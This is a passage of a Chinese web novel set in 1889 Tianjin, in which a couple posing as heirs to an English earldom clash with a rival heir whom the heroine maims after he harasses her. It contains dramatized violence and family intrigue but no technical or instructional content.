温苒猜测,可能这份欣赏是冲着两人的身高去的。 双方互相问候两句就没再多说,主要也是语言有隔阂,互相都听不大懂。 到郭朝宗时,气氛忽然热络起来,就连约瑟夫都加入了谈话。 听说郭朝宗因为家事不得不暂停学业归国,老霍斯廷斯主动说道:“我的某些好友在伦敦的大学任职,若是你想继续进修,我可以为你写一封推荐信。” 餐后,老霍斯廷斯单独叫霍骁北去了书房,其他人由约瑟夫带领前往会客室。 书房里,老霍斯廷斯满意地看着霍骁北,“威廉,你像你的祖父和我的父亲一样高大英俊,你交的朋友郭约翰也很优秀。” 霍骁北闻言依旧是那副看不出来什么情绪的表情,“多谢您的夸奖。” 老霍斯廷斯在心里叹气,才短短不到一天,他就看得出来,这个年轻人的心性远胜约瑟夫和另外几个继承人。 如果这真的是兄长的血脉,该有多好啊! 会客室里,温苒终于见识到了约瑟夫恶劣的态度。 明晃晃的歧视,毫不遮掩的不屑,还有直勾勾落在她身上贪婪不轨的打量。 温苒:“……” 既然如此,那你可别怪我心狠。 只是单纯的用眼神窥伺很快便无法满足约瑟夫,他踱步到温苒身后,手搭在沙发靠背上,缓缓弯下腰,“温夫人比约瑟夫见过的所有华国女人都要美丽,像华国的诗里写的一样,空谷幽兰,自带馨香的香气。” 在约瑟夫的手搭上沙发时,郭朝宗三人嚯地站起来,对这个色胆包天的登徒子怒目而视。 温苒给他们一个安抚的眼神,让他们不要轻举妄动。 这个人交给她。 她会让这个眼瞎的约瑟夫知道,美丽通常伴随着危险。 约瑟夫头低得越来越近,越来越近。 他停在温苒的长发旁,表情刚露出陶醉,缩起鼻翼就要深深吸气时,靠背上的手突然被大力扣住,反手一拧。 约瑟夫:“啊——” 在他痛呼出声的下一秒,温苒攥拳抬肘,面无表情照着他那张油腻的脸重击上去。 于是又是一声痛呼。 会客室外,一直等在门口听吩咐的老管家推门冲进来,被这一幕惊呆了。 他们子爵少爷那漂亮得和天使一样的夫人,竟然凶残到压着约瑟夫殴打,而且约瑟夫毫无还手之力。 甚至! 甚至!! 那位夫人站起来,拽着约瑟夫的手臂像抛铅球一样扔了出去。 砰—— 后果就是约瑟夫面朝下,狠狠砸在了茶桌上。 这还不算,那位夫人随手抽起一把刀叉来到约瑟夫跟前。 约瑟夫似乎被砸晕了,一动都不动。 这不是问题,子爵夫人空出来的手薅起约瑟夫,反手把人甩下茶桌。 约瑟夫由面朝下变成了面朝上。 然后! 然后!! 然后他看到了什么?!! 老管家眼睁睁看着,他印象里柔弱得和绵羊一般的天使夫人,面无表情地将那把刀叉,直直插进约瑟夫的双腿之间!!! 动作又快又狠又准。 老管家震惊到吃手,“不!上帝——” 老管家急慌慌找电话喊大夫,老实说他做这一切的时候脑子都还没反应过来,完全是几十年如一日中养成的工作本能在支撑他如此做。 不止老管家惊呆了,一旁郭朝宗三个人也惊呆了。 你没说交给你是这样的结果啊? 完了他们还能活着离开这里吗? 霍骁北这下不管说什么你都要变成伯爵才行!!! 还有,郭朝宗在心里呐喊:我敬你是条汉子!!! 等三人回过神来,就见温苒坐在沙发上,嫌弃地看着喷上血滴的裙子。 三人:“……” 霍骁北你以后不许再说温苒/三姐/小妹胆子小!!! 书房里祖孙二人相谈正欢。 冷不丁有人来敲门,老霍斯廷斯不耐烦地赶人,老管家颤颤巍巍道:“老爷,发、发生了一件大事……” 霍骁北起身去开门,“我就不打扰叔祖父了。” 老霍斯廷斯招手让他回来坐下,“你不用走,也留下来听听。” 老管家头低到胸前,真的要留子爵少爷一起听吗? 老霍斯廷斯催促,” 什么大事?是伦敦的事情吗?” 老管家抖着身体几乎快抖成了筛子,“不不不是的,老爷,是是约瑟夫少爷,他他他……” 老管家蹦一个字,瞥一眼书桌前端坐的霍骁北。 霍骁北心里大概有了猜测,可能和温苒她们有关。 老霍斯廷斯皱眉,“他有什么事怎么自己不来说?” 那是因为他刚醒就得知没了那个东西已经晕死过去了!!! 老管家想伸头一刀缩头也是一刀,再说又不是他废的,于是一闭眼一咬牙,喊道:“约瑟夫少爷骚扰子爵夫人,被子爵夫人切、切掉了生殖器!” 寂静,而且是死寂。 书房里针落可闻。 老霍斯廷斯缓缓瞪大了眼睛,“你说什么?” 老管家垂着脑袋,“约瑟夫少爷被子爵夫人切掉了生殖器。” 老霍斯廷斯猛地攥拳锤向书桌,“再说一遍!” 老管家:“约瑟夫少爷被切掉了生殖器,永远地失去了生育能力。” 嗯。 说就说,反正约瑟夫少爷这个样子是没办法继承爵位了。 老霍斯廷斯终于反应过来,脑袋一转,瞪着霍骁北,张口就是质问:“是你让那个华国女人这么做的?你要除掉约瑟夫,为了继承爵位!” 霍骁北绷着脸,表情发寒,扯起嘴角语气嘲讽:“是你让那个混蛋这么做的?” 他在提醒,约瑟夫骚扰在先。 老霍斯廷斯喉咙一哽,气势弱下来,“说不定是你夫人误会了,约瑟夫只是太热情,华国女人在这方面很保守。” 他说着说着找回气势,拍桌大吼:“无论如何,这不是你夫人可以这么做的理由!” 霍骁北抬手摁上桌面,缓缓站起身,眼神冷漠地回望,“无论如何,我的夫人有她这么做的理由。” 老霍斯廷斯叫他气得头晕眼花眼冒金星,但同时,脑海里不期然闪过当年,兄长为了娶爱慕的女子,也是这样和父亲拍桌对峙。 老霍斯廷斯的失神只是一瞬,他告诉自己还不一定,这个年轻人的身上还有疑点,万一他就不是兄长的血脉呢? 最后的最后,老霍斯廷斯狠狠瞪了一眼霍骁北,甩手离去。 霍骁北跟在后面下楼,他要去安慰受惊的妻子。 会客室里一片狼藉,满地鲜血,已经不能待了。 温苒和郭朝宗三个被‘护送’回了西侧的洋楼。 霍骁北到时,就见温苒换了一条浅绿色丝绸长裙,坐在沙发上吃水果看报纸。 眼睛像X光一样飞快在她身上扫过,没有受伤,霍骁北的心放回肚子里。 他大步来到跟前,在温苒身旁坐下,“没受伤吧?” 温苒摇头,“就是胳膊有点累。” 这时霍骁北的余光瞥见了对面,那里有挨成一团的三个男人。 在他目光送过去时,三个男人齐齐露出了诸如同情、敬佩的眼神。 霍骁北:“……” 霍骁北冷声吩咐,“都坐到跟前来。” 三个男人互看一眼,你推我搡不情不愿地上前,“伯爵知道以后怎么说?” 听见这话,温苒从报纸里抬起头,睁着大眼睛看向霍骁北。 她也好奇。 不外乎是安抚约瑟夫惩罚霍骁北,但其中的度如何拿捏,从中就可以窥见这位家族掌权人真正的考量。 霍骁北脱下大衣,盖在温苒腿上,“他很生气。” 郭朝宗追问:“然后呢?” 这事说起来可不小。 约瑟夫是伯爵继承者候选人,结果就这么被温苒给废了?真的废了! 在霍骁北身份未定的情况下,他的夫人废了一名继承人,这明摆着就是冲伯爵之位去的! 反正郭朝宗如果是老霍斯廷斯,不管霍骁北是不是真的老伯爵血脉,他都不会让他是真的。 这人,太狠了。 霍骁北看起来丝毫不担心的样子,还有闲心给温苒捏胳膊。 “不会有事。”他道。 郭朝宗不解,“为什么?” 温苒回他:“约瑟夫一看就没脑子,我要是伯爵我不会选他当继承人。” 所以抛开约瑟夫继承人的身份,他只是伯爵在族里的远房亲戚而已。 郭朝宗:“……有什么区别吗?” 人家好歹是亲戚呢。 温苒拍拍身旁男人的肩膀,“他是伯爵兄长的唯一血脉,远房亲戚和他有可比性吗?” 周凯急道:“可是伯爵还没有承认姐夫的身份!” 温苒点头,“就是因为还没确认才不会有事。” 如果是真的,老霍斯廷斯肯定会偏向霍骁北。 没有证据证明是假的,老霍斯廷斯只会等证据,确认是假的之后才会发动。 温苒还有没说的,而且她这么不计后果地行事,在老霍斯廷斯和其他人看来全是仗着霍骁北的身份。 这也反过来证明霍骁北的身份是真的,所以温苒才如此有底气。 接下来几天,西侧洋楼风平浪静。 在洋楼工作的佣人,除了近身伺候伯爵的,其他多是在天津卫本地招聘的华人。 从自己人嘴里打探消息就简单多了。 温苒能轻而易举得知老霍斯廷斯和约瑟夫那边的情况。 约瑟夫废了,彻底失去生育能力。 他醒来发了好一阵疯,消停下来后,老霍斯廷斯见了他一面,关心几句,并表示了对他身体的惋惜。 然后老霍斯廷斯许给了约瑟夫一个男爵,以及英国某地的一个庄园作为补偿。 周凯凑到温苒身边,“三姐,还真让你料对了。” 温一茂咕噜咕噜喝牛奶,“小妹本来就料事如神。” 得到补偿后,约瑟夫的想法外人就不晓得了。 老霍斯廷斯派人喊走霍骁北。 霍骁北跟随老管家来到书房,老霍斯廷斯坐在书桌后,偏头望着窗外,“威廉,过来坐下。” 霍骁北在书桌前的椅子上落座,“叔祖父,您脸色不大好,看起来又犯了病。” 老霍斯廷斯刚摁下去的火气忍不住冒出来,他犯病都是因为谁啊? “约瑟夫失去生育能力,也失去了继承爵位的机会,威廉,这是你想要的吗?” 他转过头,苍老浑浊的眼睛审视着眼前的年轻人。 霍骁北抬眸,淡定回望,“您要听真话?” 老霍斯廷斯点头,“你说。” 霍骁北嘴角淡出一抹笑意,转瞬即逝。 “决定回归家族前,我就猜到祖父的爵位会落到叔祖父和堂叔身上,您与祖父兄弟情深,我并不想因为区区伯爵之位与亲人反目,所以事先打算好带妻子前往美国发展。” 老霍斯廷斯眼神微动。 霍骁北语速不疾不徐,“不过就在不久前,我夫人被您选中的爵位继承者恶意骚扰,那时我改变了主意。” 老霍斯廷斯倏地瞪大眼睛,“就因为这个?” 就因为区区一个华国女子,你改变了主意? 老霍斯廷斯宁愿霍骁北是因为觊觎家族的财富和地位,才改变主意的! 霍骁北反问,“不然呢?我和夫人的婚约是祖父祖母订下的,我誓死捍卫我们的婚姻。” 老霍斯廷斯从中听出了坚刚不可夺其志的决心,他深深地沉默了。 你祖父祖母的遗物,你可是毫不在乎地留了下来。 老霍斯廷斯冷笑,“男人怎可沉溺于情爱?怎可被女人掌握?” 霍骁北摇头,拽了句古文:“华国有句古话:妻者齐也。” 老霍斯廷斯梗着脖子,“所以呢?” 霍骁北:“我受祖父祖母的言传身教。” 老霍斯廷斯:“……” 你就仗着你有个好祖父吧! 老霍斯廷斯气得拍桌子。 他发完火 ,说道:“这件事不能就这么算了,不然等回到伦敦回到家族,你这个夫人还不知道会做出什么事情来?” 霍骁北这时又道:“这件事是我之过,如果我在现场,不会让她受辱,也不会让她动手。” 老霍斯廷斯:“……” 你不让她动手你自己动手是吧? 老霍斯廷斯指着门,一脸疲惫,“威廉,现在,你给我出去。” 第53章 第53章1889从闯关东开始2…… 老霍斯廷斯应霍骁北的要求,对夫妻两个一起处罚。 罚温苒学习贵族礼仪,老师是一名严肃古板的子爵夫人。 罚霍骁北帮他整理账本,随他前往工厂视察工作。 一天八个小时的学习下来,温苒逃课半天,偷懒俩小时,废话一小时,正经学习的时间还不到半小时。 走的时候,那位子爵夫人浑身上下写满了疲惫,第二天就气得直接不来了。 接到管家汇报,正在悠闲喝茶的老霍斯廷斯:“……” 心情突然就不美妙了。 他拉下脸,“威廉,你看看你夫人做的好事!如此没有规矩教养,她如何担任得了你的伯爵夫人?” 霍骁北翻到下一页账本继续书写核对,头也不抬:“担任伯爵夫人唯一必要的条件是,她的丈夫是一位伯爵,仅此而已。” 老霍斯廷斯:“……” 老霍斯廷斯让老管家再搬过来一堆账本,你这么护着她那你就代她受过吧! 霍骁北对了两天的账本,第三天再来带上了温苒。 老霍斯廷斯用力放下茶杯,“带她来做什么?” 霍骁北回道:“我夫人是一名大夫,让她为您诊治,如果您身体没问题,账本就可以交还给您。” 老霍斯廷斯想不到,霍骁北给他的竟然是这个答案? 那些账本虽然不怎么重要,但看账本这个行为本身就代表着他的认可和信任,这个年轻人没有受宠若惊就罢了,还要拒绝? 老霍斯廷斯无法接受,眼珠一转开始耍赖。 “我年纪大了身体不好,之前你们也看到我发病的样子,我每时每刻都在忍受疼痛,我真的很痛苦。” “威廉,你应该体谅我。” 霍骁北没有如他所愿,“我要腾出时间,陪夫人在天津卫游玩。” 老霍斯廷斯:“……” 不知道为什么,得到这个答案,他一点也不意外,甚至还有种原来如此果然是这样的感觉。 老霍斯廷斯木着脸,“不用你特意腾出时间,就今天吧,你们先随我去检查纺织厂和造船厂的工作,之后我带你们在城里转一转。” 本来只是借口,但有出游的机会正合霍骁北意,他和温苒喊上郭朝宗三人一起。 对此老霍斯廷斯没有多说什么,只是抬起拐杖点了点几人手里的大箱子,“这里面是什么?” 霍骁北:“东西。” 老霍斯廷斯:“……” 面对侄孙敷衍的态度,老霍斯廷斯气呼呼上了车。 温苒和霍骁北随后上车,郭朝宗三人则另座一辆车。 一行人先去纺织厂和造船厂,后去吃了包子,又听了场戏。 看不出来,老霍斯廷斯还是个戏迷,戏唱完专门去后台和青衣演员见面。 霍斯廷斯公馆里,正在养伤的约瑟夫满脸阴翳,挥手扫掉床头桌上的东西。 他失去了男人最引以为傲的部位,结果那个贱人什么惩罚都没有,凭什么? 不仅如此,伯爵带那个肮脏的混血去工厂,还让他核对账本?! 该死的老东西,他该不会真的信了那个威廉是老伯爵的血脉?还打算让威廉继承伯爵之位? 不行! 他不允许! 他绝不允许! 从戏院回来,老管家向伯爵禀报有重要客人,老霍斯廷斯笑着看向霍骁北:“威廉,晚餐你们自便,我去见个客人。” 一行人回到西侧洋楼,郭朝宗站在窗边向外望去,“伯爵的贵客竟然连轿车都开不起?” 周凯对着买回来的一堆小吃挑挑拣拣,最后挑了包糖炒栗子,“会不会根本没有客人?” 郭朝宗脸色一变,“是派出去调查霍骁北的人有信了!” 主楼书房里,老霍斯廷斯面前摆着一份报纸,神情晦暗不明。 良久后,他长叹一声,其中含着无尽失望,“把这件事情告诉约瑟夫。” 接下来几天,老霍斯廷斯给了霍骁北更多账本,甚至还让他帮忙整理信件。 霍骁北从零碎的信息中拼凑出来霍斯廷斯的家族版图。 霍斯廷斯家族因为接连几任家主出事,最初并未向华国发展势力,而是就近向美洲发展。 上一任家主来华几年后失去音信,由家主弟弟接任爵位,之后派人寻找兄长的下落,并于十二年前本人亲自前来。 目前霍斯廷斯家族在华国的主要势力只有两家工厂,这还是伯爵来华后开办的。 看样子霍斯廷斯未来并没有在华国发展的意向。 温苒立马就盯上了这两家工厂。 霍斯廷斯家族无意在华发展,随着伯爵归国,势必会出手两家无关紧要的工厂,既然不要不如给她? 如果霍骁北坐上霍斯廷斯伯爵之位,她就是伯爵夫人。 到时温苒手里的工厂就有着霍斯廷斯家族的印记,但真正的主人却是一个华国人。 既能借势又实际上和霍斯廷斯家族无关,多么适合用来当幌子。 于是计划清单中又加入一项待完成。 这天霍骁北带温苒来书房继续看账本,恰巧约瑟夫也在。 仇人相见分外眼红,约瑟夫脸上肌肉疯狂抽动,眼神凶狠地盯着温苒,神情狰狞扭曲。 “温夫人别来无恙啊!” 温苒微笑,“吃得好睡得好,多谢男爵关心。” 她不好为人师,但显然无意间教会了约瑟夫隐忍和低调。 听到‘男爵’的称呼,约瑟夫放在椅子扶手上的手掌瞬间抓紧,关节因用力过于凸显。 贱女人还敢说过得好? 他的伯爵之位! 他数百万英镑的财富! 因为这个女人统统都没有了! 他受了这么严重的伤害这么极端的侮辱这么巨大的损失,老东西竟然只用一个男爵之位和一处庄园就打发他,反观这个女人却什么惩罚都没有?! 约瑟夫扯出一个扭曲的笑容,“堂叔,子爵回归的欢迎宴会在伦敦举办才更正式,不如先在天津卫办个小型的介绍宴?” 他刚得到的消息,这个威廉就是个彻头彻尾的冒牌货! 他要在众贵族的见证下揭穿这个骗子的真面目! 他要让这个丑闻传遍伦敦!要让霍斯廷斯家族颜面尽失! 这就是践踏他约瑟夫霍斯廷斯的下场! 老霍斯廷斯的嘴角缓缓绷紧,沉甸甸的视线压在约瑟夫身上,“约瑟夫,你的身体要紧,宴会就不必你操心了,我会让你的侄子詹姆斯负责。” 詹姆斯,老霍斯廷斯的亲儿子。 约瑟夫满脸阴翳地离开,离开前投向沙发的眼神让老管家不寒而栗。 温苒和霍骁北默不作声对视一眼。 看完账本回西侧洋楼,温苒说道:“伯爵把查到的东西告诉了约瑟夫。” 当然不是面对面告诉,而是私下把消息送到约瑟夫面前,好让约瑟夫以为是他自己查到的。 伯爵没有把‘证据’直接甩到霍骁北面前和他对峙,反而采用迂回委婉的方式,比起揭穿更像在试探。 从中可以窥见,伯爵内心是更愿意相信霍骁北的。 也不知道是不是因为霍骁北不管做什么都理直气壮,加上温苒的‘肆意妄为’,这谁看了不说夫妻俩底气足? 约瑟夫的发难在一次午餐时。 “威廉,我最近听说了一件有趣的事情,你想知道吗?” 约瑟夫狞笑出声。 长桌上菜式中西混杂,是老霍斯廷斯特意吩咐的。 霍骁北垂目看着瓷盘,切牛肉的动作干净优雅,切完推到温苒面前。 “男爵自便。” 约瑟夫被他目中无人的态度激怒,用力握紧刀叉,咬着牙说道:“那我就说了!” “威廉,你夫人的华国名字叫‘wenran’,对吗?” 霍骁北冷冷抬眸,蓝色的眼睛像在注视一具尸体。 约瑟夫扔掉刀叉,扶着桌沿站起来,抬起手臂击掌。 餐厅外走进来一名侍者,捧着一份报纸。 约瑟夫抬起下巴,“送去给威廉。” 报纸被小心翼翼放到桌面上,只需要霍骁北轻轻偏转目光就能看到。 那是一份几年前奉天的报纸。 仁心医馆带头举办义诊,随后奉天城的其他医馆陆续加入。 义诊造福百姓,当时造成的声势浩大,甚至得到了官府的表彰。 新闻中提到了仁心医馆的大夫温苒,被奉天百姓称为‘神医’。 新闻还刊载了一张照片,一张温苒为病人把脉的照片。 这些不过尔尔,霍骁北眼神掠过面不改色。 真正让他在意的,是照片一角属于他的半个身体。 霍骁北扫了一眼,随手拿给温苒。 温苒扫了一眼,把心放回肚子里。 没事,她戴着口罩呢,半张脸都被遮住了。 就算把当时的病人找来,也只认得脸抹黑发黄的温大夫,而不是大变样的温苒。 至于新闻里的名字,一个名字罢了,华国几亿人还不能重名了?你们外国人批发似的乔治威廉詹姆斯都笑话不完呢! 郭朝宗三个忐忑地伸着脖子,想要瞅瞅到底是什么报纸。 温苒却反手把报纸塞给侍者,“拿去给叔祖父看看。” 早就知道到报纸内容的老霍斯廷斯:“……” 看夫妻两个这淡定的反应,这份报纸应该起不了什么作用。 老霍斯廷斯装模作样看完报纸,放下,然后抬头,“威廉的夫人,你有什么解释?这上面写了你的名字,还有你的照片,我需要你的解释。” 温苒不答反问,“您觉得照片上的人是我吗?” 只要不让她解释,避开撒谎的情境,她也是有演技的。 老霍斯廷斯沉默了。 那人戴着口罩,只露出一双眼睛,偏偏她还低着脑袋,模糊的黑白照片根本看不清她面容。 看到他们的反应,尤其是老霍斯廷斯沉默的否认,约瑟夫不敢置信。 他用力捶桌,指着老神在在端坐用餐的夫妻两个,“伯爵,这个女人就是报纸上的医生,她在奉天时有一个丈夫,也姓霍,恰好还和我们的子爵大人威廉一个姓氏!怎么会有这么巧的事情?” 郭朝宗奇怪地看着他,“这有什么巧合的?华国常用姓氏只有几百个,华国几亿人出现重名重姓的情况是必然的?” 几亿对几百,约瑟夫后知后觉,被这个悬殊到惨烈的数字给震惊到失语。 霍骁北这时又道:“看来我不应该叫威廉,因为和父亲祖父曾祖父重名,在华国文化里这叫做大不敬。” 老霍斯廷斯马上制止他,“你虽然在华国出生长大,但却是高贵的霍斯廷斯家族的血脉,你需要承认的是属于我们的文化,继承属于家族的名字是你的荣耀,威廉。” 约瑟夫听见这话,满腔怒火简直要冲出身体。 这就是个骗子!骗子! “把人给我带过来!”约瑟夫猛地挥手,朝垂手等在一旁的侍者大吼:“马上把人给我带过来!” 人? 难不成是奉天的旧识? 脑海中闪过这个想法,很快侍者带领一个中年男人进来餐厅。 温苒疑惑地看着来人,这是谁? 郭朝宗三人和她大差不差的表情,满脸都是迷惑不解。 老霍斯廷将她们的反应尽收眼底,除了霍骁北。 这个年轻人喜怒不形于色,最近相处下来他越发感觉到深不可测。 来人进到餐厅,低垂着脑袋,二话不说噗通一个跪拜大礼,“王草环见过几位洋大人!” 郭朝宗忙道:“赶快扶他起来。” 霍骁北补充:“搬把椅子让他坐着。” 椅子搬过来,王草环噗通又是一跪,“草民谢过大人!” 约瑟夫眼里闪过不屑和厌恶,开口换上蹩脚的中文,“你认识神医,她们里面在不?” 约瑟夫得意地看着霍骁北,你这个冒牌货就等着承受我的怒火吧! 温苒,还有你这个贱人! 老霍斯廷斯眼睛一眨不眨,掌心抓紧扶手,盯着王草环。 王草环抬眼飞快瞥了一眼,连忙拨浪脑袋,“回洋大人,草民不认识。” 老霍斯廷斯紧绷的身体放松,眼底闪过庆幸。 约瑟夫反应了一下他话里的意思,回身恼怒地踹开椅子,“你撒谎!你明明就认识!肮脏的东西你敢骗我你敢骗我我要杀了你!” 约瑟夫跌跌撞撞朝王草环冲过去,王草环惊恐万分,滑下椅子跪下磕头饶命,“您饶了草民吧草民真的不认识……” 温苒绷着脸,眼神示意距离最近的二哥出手。 温一茂起身,拧着拳头大步上前,长长的手臂一勾就锁住了约瑟夫的脖颈。 暴怒的约瑟夫张牙舞爪,却不能再动弹半分,活像一只被掐住脖子的公鸡。 霍骁北收回目光,瞥了老霍斯廷斯一眼,嗤笑道:“确实有趣。” 老霍斯廷斯被他这一眼看得恼羞成怒,又不是他干的! 他让管家叫来侍卫,把约瑟夫带下去冷静冷静,转头叫王草环再仔细认一遍。 霍骁北站起来,眼神冷漠地看着伯爵,“需要我走到他面前吗?” 不等伯爵回应,他自顾自来到王草环面前,“抬头,仔细认。” 王草环抖了下身体,颤颤巍巍抬头,不期然撞进一双湛蓝色的眼睛里,深邃剔透,一时惊呆了。 他为什么长着华国人的面孔,眼睛却是蓝色的? 王草环看的时间太长,老霍斯廷斯不禁捏了把汗,难道这个男人真的认识威廉? 王草环回过神来,忙道:“回洋大人,草民并不认识这位洋大人。” 老霍斯廷斯跌回椅子里,心彻底放回肚子,挥手让人带他下去。 这么近都没认出来,可见威廉不是那个大夫的丈夫,温苒也并不是报纸上所说的神医,重名只是个巧合。 风波过后,一群人回到西侧洋楼。 温一茂不解,“他是小妹曾经的病人吧,他没认出小妹我知道为什么,他怎么没认出我和小凯?我们都在小妹的医馆帮过忙。” 郭朝宗指指他们俩的头顶,“你们剃了头,以前穿灰扑扑的短打,现在又是衬衫又是西裤,整个人的气质也和以前大不一样,我要不是每天都跟你们待一起我也不敢认。” 何况那个王草环才看了多长时间的病,最多在医馆跟这俩人打个照面。 打个照面就没再见过的人何其多也,去街上转悠一趟难不成见过的面孔都记得啊? 温苒和霍骁北就更好说了。 温苒脸变白气质舒展开,前后说是彻头彻尾两个人也说得过去。 霍骁北性格内敛低调,在奉天时就有意收敛锋芒。 而现在他有一双蓝色眼睛,刻意显露出强势但沉稳的气质,也几乎和从前判若两人。 说来说去,还得亏先前大家在山里窝了半年,决定冒领计划和出国后所有人就如同脱胎换骨一般。 加上南下路途经历颇多,每个人都有所成长。 书房里,老霍斯廷斯背着手,焦躁地来回踱步。 他心情复杂难言,又是庆幸又有激动。 没认出来好,没认出来就代表着,这个优秀的年轻人是兄长血脉的可能又多了一分。 但同时老霍斯廷斯仍旧心存疑虑。 威廉真的是兄长的血脉吗?万一不是呢? 敲门声响起,打断了老霍斯廷斯纷乱的思绪,他停下来坐到书桌后,摇动铜铃。 管家推门而入,“伯爵,约瑟夫冷静下来,他托我向您致歉,此事是他鲁莽,他会处理掉那个男人,不会让今天的事情被人知晓,为威廉少爷的血脉 增添污点。” 老霍斯廷斯冷哼,“愚蠢的货色!” 指腹敲了敲桌子,他换了个坐姿,突然笑起来说道:“你去把这件事告诉威廉,另外,把伦敦最近的电报都拿过来,待会儿交给威廉。” 老管家犹豫,啊,刚发生这样让人不快的事情,威廉少爷还会过来吗? 老霍斯廷斯眼底浮现得意,“叫你去就去,快去,再让侍者送来一瓶红酒。” 老管家面带忧色来到西侧洋楼,一字不差地重复伯爵的话,“威廉少爷,老爷在书房等您。” 霍骁北起身,“稍等,我和夫人要更衣。” 老管家:“?” 啊?不是?您那不张口便罢一说话就气死伯爵不偿命的本事呢?您就这么答应了? 霍骁北和温苒一起前去,老管家也没说伯爵只叫了威廉少爷一个人,只要威廉少爷能过去把他们都带上也无所谓。 果然到书房后,老霍斯廷斯见到温苒反而很高兴,还邀请两人品酒。 “威廉,索菲亚,过来尝尝这瓶酒,这是我在法国的酒庄酿的红酒,味道醇香甘甜。” 霍骁北落座,“您是想去见上帝吗?” 老霍斯廷斯:“?” 他放下酒杯,“什么意思?” 不是他想的那个意思吧? 霍骁北:“就是您想的那个意思。” 老霍斯廷斯转身找拐杖,都别拦他! 老管家在一旁看着舒服了,这才是他认识的威廉少爷嘛! 温苒拿起一只酒杯,老管家见状,主动上前倒酒。 老霍斯廷斯找到拐杖,结果刚转身手就空了。 霍骁北把拐杖递给老管家,回头道:“通风忌饮酒,饮食最好清淡。” 老霍斯廷斯怒气一顿,气呼呼坐下,抱胸后靠,“你就不能换一种说话的方式?” 霍骁北用中文回道:“忠言逆耳。” 老霍斯廷斯的水平不足以支撑他理解这句话,表情茫然。 霍骁北翻译成英文,“实话通常都不好听。” 老霍斯廷斯:“……” 他瞪着霍骁北,“威廉,你应该对我态度好一点,我会考虑把爵位交给你。” 余光瞥到温苒已经是第三杯了,霍骁北抬手制止,在她不满的眼神中,回复伯爵:“不必。我预备买个爵位,移民美国发展。” 老霍斯廷斯看到夫妻两个的互动,不知为何,饱受摧残的心灵突然就得到了安慰。 哈哈! 对威廉最重要的夫人,他也是这样强势霸道让人讨厌! 老霍斯廷斯想,他和索菲亚一定有许多共同语言。 寒暄结束,霍骁北直入主题,“那个被找来当作证人的男人,请您放过他,他是无辜的。” 老霍斯廷斯扬起了下巴,“威廉,你的心肠太软了。那个人如果活在世上,你的血脉就会受到质疑,所以他并不无辜。” 霍骁北直视他的眼睛,“我自愿放弃爵位,并不需要无辜之人因我枉丢性命,血脉真假我知我父亲和祖父知,便足矣。” 他语气认真,神情坚定。 老霍斯廷斯哑然一瞬,猛地站起来,完全不敢相信他竟真的要放弃爵位。 “你!胡闹!” “威廉,这样的话我不想再从你的嘴里听到!” 老霍斯廷斯气愤地背过身去,“收回你刚才的话,我同意你的要求。” 温苒:“……” 她其实不是很理解,霍骁北对老伯爵从来都没什么好态度,但是老伯爵就偏偏有种上赶着要送的架势。 来都来了,霍骁北又被抓了壮丁,这次接触的是来自伦敦的电报。 时间,最近。 事件,有关美洲势力发展受挫的的相关消息。 美国带头通过排华法案后,各地都在排挤华人华工。 法案造成的影响是方方面面的。 华人华工频繁遭受到暴力事件; 洋人洋工顶替华工获得工作,但不服从管教,工作效率低下,要求的工资和福利却远超华工; 此前大规模雇佣华工的工厂组织需要花费更多成本雇佣洋工,却因为洋工效率低下迟迟无法完成规定的计划,损失庞大。 遭到排挤的华工迫不得己离开美国,纷纷向美国四周的小国扩散。 霍斯廷斯在今后墨西哥以及南美地区的势力范围,最近几年便涌入了大量华人。 式微抱团,涌入的华人不免和当地人产生冲突,因为排华法案在前,最后多数是华人团体一再吃亏。 暴力事件一再发生,当地治安急转直下,某些势力浑水摸鱼,对霍斯廷斯的影响不可忽视。 老霍斯廷斯有心考一考霍骁北,让他写一份计划交上来。 东侧洋楼,听说老伯爵要霍骁北接触美洲事务,约瑟夫不甘心地咬牙。 他神情阴沉,最终拨出一则电话。 威廉霍斯廷斯,我要你们夫妻两个都去见上帝! 第54章 第54章1889从闯关东开始2…… 几天后,霍骁北上交了一份计划书。 开办粮食种植园和工厂,招募华工,扩张霍斯廷斯家族在美洲的势力。 老霍斯廷斯看完,合上计划书,“你应当知道排华法案。” 霍骁北双腿交叠,往后靠在椅背上,目光望向窗外。 “您应当知道,所谓限制对贵族无效。” 老霍斯廷斯嘴角忍不住上扬,“威廉,我打算尽快回英国,华国的两家工厂交给你处理。” 沙发上的温苒耳朵动了动,眼睛亮起来,好机会啊! 霍骁北点头,“您的要求。” 老霍斯廷斯拿起拐杖站起来,“全权交由你,后续我不再过问。” 霍骁北明白了,然后他就把两家工厂无偿赠与给了温苒。 得知这个处理办法的老霍斯廷斯:“……” 好吧,他不气,他知道这在华国文化中叫做聘礼! 两家工厂而已,这一点点聘礼根本不符合霍斯廷斯家族高贵的身份! 老霍斯廷斯认为温苒还需要英国的一处城堡,法国的一处葡萄庄园,以及美国的一处小岛。 老霍斯廷斯思来想去,让老管家给伦敦发电报,催促那边的进度。 温苒成功收获两家工厂,但问题来了,该派什么人管理厂子? 反正她们家从老到小都要去美国,林大厨一家显然没有这方面的才能,三娘她们抓药看病还行管理厂子有点儿悬,所以温苒把求助的目光投向了郭朝宗。 推荐些人才啊! 郭朝宗狠狠拿捏了一番喝茶的姿势,才道:“我也没有特别信得过的人。” 他族里倒是还有人,但当年父母弟妹被放火烧死,很难说其中那些人没有掺和一脚。 温苒:“同窗呢?” 郭朝宗:“我的同窗家世都不错,有些都能自己办厂,为什么要过来给你做工?” 温苒:“……” 可恶!她竟然也有一天会被郭朝宗这个穷鬼炫耀到? 温苒去找霍骁北,他在西侧洋楼的书房里。 “我们最好再留一段时间,至少半年。” 她得处理好工厂的事情,找到能接手的人。 霍骁北拉着她坐到自己腿上,说道:“不如让大哥来?” 温苒想也不想就摇头,“大哥还要去美国,再说大伯大伯娘不会同意离大哥这么远。” 霍骁北想了想,“为什么不问问大哥的想法?” 温苒看了他一眼,拿起电话,拨通一行人所在公馆的号码。 约莫过了一刻钟,电话接通,响起了郭晨的声音。 “喂,是少爷吗?” 温苒:“是我,我想找大哥说话。” 此时的郭晨身边,所有人都安安静静竖着耳朵,试图听到话筒对面的声音。 宋守言话音都不敢撂重了,“阿晨,啥事啊?” 郭晨摇摇头,把话筒递给了温一荣。 那边不晓得说了什么,温一荣沉默下来,看得众人心脏都提到了嗓子眼,别是坏事吧? 许久后,温一荣轻轻点了点头,“我想试试。” 温苒欲言又止,最终还是忍不住说道:“大哥你不用勉强自己,仔细考虑清楚。如果你决定留下,大伯大伯娘那里你也要安抚好她们。” 